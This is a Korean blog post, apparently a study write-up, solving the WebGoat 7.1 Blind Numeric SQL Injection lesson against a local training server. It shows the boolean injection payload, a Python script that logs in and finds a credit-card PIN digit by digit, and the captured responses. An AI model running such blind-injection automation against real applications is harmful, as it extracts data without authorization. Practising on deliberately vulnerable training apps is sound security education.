숫자로 구성된 pin 값을 알아내는 Blind Numeric SQL Injection 실습!
101 and (select pin from pins where cc_number='1111222233334444') > 10000;
과 같은 논리식을 던져서 돌아오는 응답으로 판단하는 공격!
따라서 해당 논리식을 이용해서 스크립트를 작성했다.
코드를 통해 WebGoat 로그인 및 세션 유지 후 Blind Numeric SQL Injection 페이지로 이동하여 해당 논리식을 입력하도록 했다.
답을 아예 모른다는 가정을 두고 초기값을 0으로 설정한 후 숫자를 증가 및 감소시키면서 pin 값을 찾은 후 추출하도록 작성했다.
#pip install requests
import requests
#pip install bs4
from bs4 import BeautifulSoup
# 답: 2364
# Burp Suite로 가로챈 url이어야 함
login_url = 'http://localhost:8080/WebGoat/j_spring_security_check' # 로그인 페이지 url
url = 'http://localhost:8080/WebGoat/attack?Screen=586116895&menu=1100' # Blind Numeric SQL Injection 공격이 이뤄지는 url
# 로그인 페이지의 input 태그의 name값인 username과 password. 그에 대입할 로그인할 유저 정보
Login_INFO = {
'username': 'guest',
'password': 'guest'
}
# pin value 찾는 함수
def find_number():
num = 0 # 첫 시작은 0부터 지정
flag = 1000 # pin value를 찾기 위한 연산을 비교할 flag
# 1000: +1000, 100: +100, 10: +10, 1: +1
# pin value를 찾으면 값이 main으로 return되어 while문은 종료됨
while True:
# pin value를 알아내기 위한 쿼리 지정
data = {'account_number': '101 and (select pin from pins where cc_number=\'1111222233334444\') <= %d;'%num}
r = Session.post(url, data) # Blind Numeric SQL Injection 페이지에 쿼리를 post방식으로 전달
soup = BeautifulSoup(r.content, 'html.parser') # Python 내장 html.parser를 이용하여 r.content 파싱
# 해당 조건에 맞는 모든 태그를 가져오는 find_all()를 사용하여 p태그의 1번째 값과 쿼리 입력 결과값 비교
# <p>Invalid account number.</p> : 존재하지 않을 때
# <p>Account number is valid.</p> : 존재할 때
if str(soup.find_all('p')[1]) == '<p>Invalid account number.</p>':
if flag == 1000: # 0, 1000, 2000
num = num+1000
elif flag == 100: # 2000, 2100, 2200, 2300
num = num+100
elif flag == 10: # 2300, 2310, 2320, 2340, 2350, 2360
num = num+10
else: # 2360, 2361, 2362, 2363
num = num+1
else:
if flag == 1000: # 3000 -> 2000
flag = 100
num = num-1000
elif flag == 100: # 2400 -> 2300
flag = 10
num = num-100
elif flag == 10: # 2370 -> 2360
flag = 1
num = num-10
else:
return num #2364
if __name__ == "__main__":
# session 생성
Session = requests.session()
# 로그인 페이지에 앞서 작성한 Login 정보를 post 방식으로 넘겨주고, 로그인 세션 유지
login_session = Session.post(login_url, data=Login_INFO)
answer = find_number() # pin value 찾는 함수로 gogo~
print('Pin value is:', int(answer))
Session.close() # 세션 닫
# r.content 출력 결과(Invalid / Valid)
'''
<!-- HTML fragment correpsonding to the lesson content -->
<div id="lessonContent">
The form below allows a user to enter an account number and determine if it is valid or not. Use this form to develop a true / false test check other entries in the database.
The goal is to find the value of the field <b>pin</b> in table <b>pins</b> for the row with the <b>cc_number</b> of <b> 1111222233334444</b>. The field is of type int, which is an integer.
Put the discovered pin value in the form to pass the lesson.
</div>
<div class="info" id="message"></div>
<div id="lessonContent">
<form accept-charset="UNKNOWN" action="#attack/586116895/1100" enctype="" method="POST" name="form">
<p>
Enter your Account Number:
<input name="account_number" type="TEXT" value="101 and (select pin from pins where cc_number='1111222233334444') <= 0;"/>
<input name="SUBMIT" type="SUBMIT" value="Go!"/>
<p>Invalid account number.</p>
</p>
</form>
</div>
<!-- HTML fragment correpsonding to the lesson content -->
<div id="lessonContent">
The form below allows a user to enter an account number and determine if it is valid or not. Use this form to develop a true / false test check other entries in the database.
The goal is to find the value of the field <b>pin</b> in table <b>pins</b> for the row with the <b>cc_number</b> of <b> 1111222233334444</b>. The field is of type int, which is an integer.
Put the discovered pin value in the form to pass the lesson.
</div>
<div class="info" id="message"></div>
<div id="lessonContent">
<form accept-charset="UNKNOWN" action="#attack/586116895/1100" enctype="" method="POST" name="form">
<p>
Enter your Account Number:
<input name="account_number" type="TEXT" value="101 and (select pin from pins where cc_number='1111222233334444') <= 2364;"/>
<input name="SUBMIT" type="SUBMIT" value="Go!"/>
<p>Account number is valid.</p>
</p>
</form>
</div>
'''
결과적으로 Pin 값인 2364를 얻을 수 있다!
공부하면서 학습 목적으로 작성한 포스팅이므로 내용이 완전하지 않습니다ㅠ
계속해서 학습 후 지식이 좀 더 쌓이면 수시로 수정해나갈 예정입니다!
틀린 내용은 둥글게 댓글 달아주시면 빠른 확인 후 수정하겠습니다. :)
참고
'보안 > WebGoat 7.1' 카테고리의 다른 글
[WebGoat] Blind String SQL Injection 자동화 스크립트 (0) | 2020.10.05 |
---|---|
나만 볼거지롱ㅎ (0) | 2020.10.05 |
댓글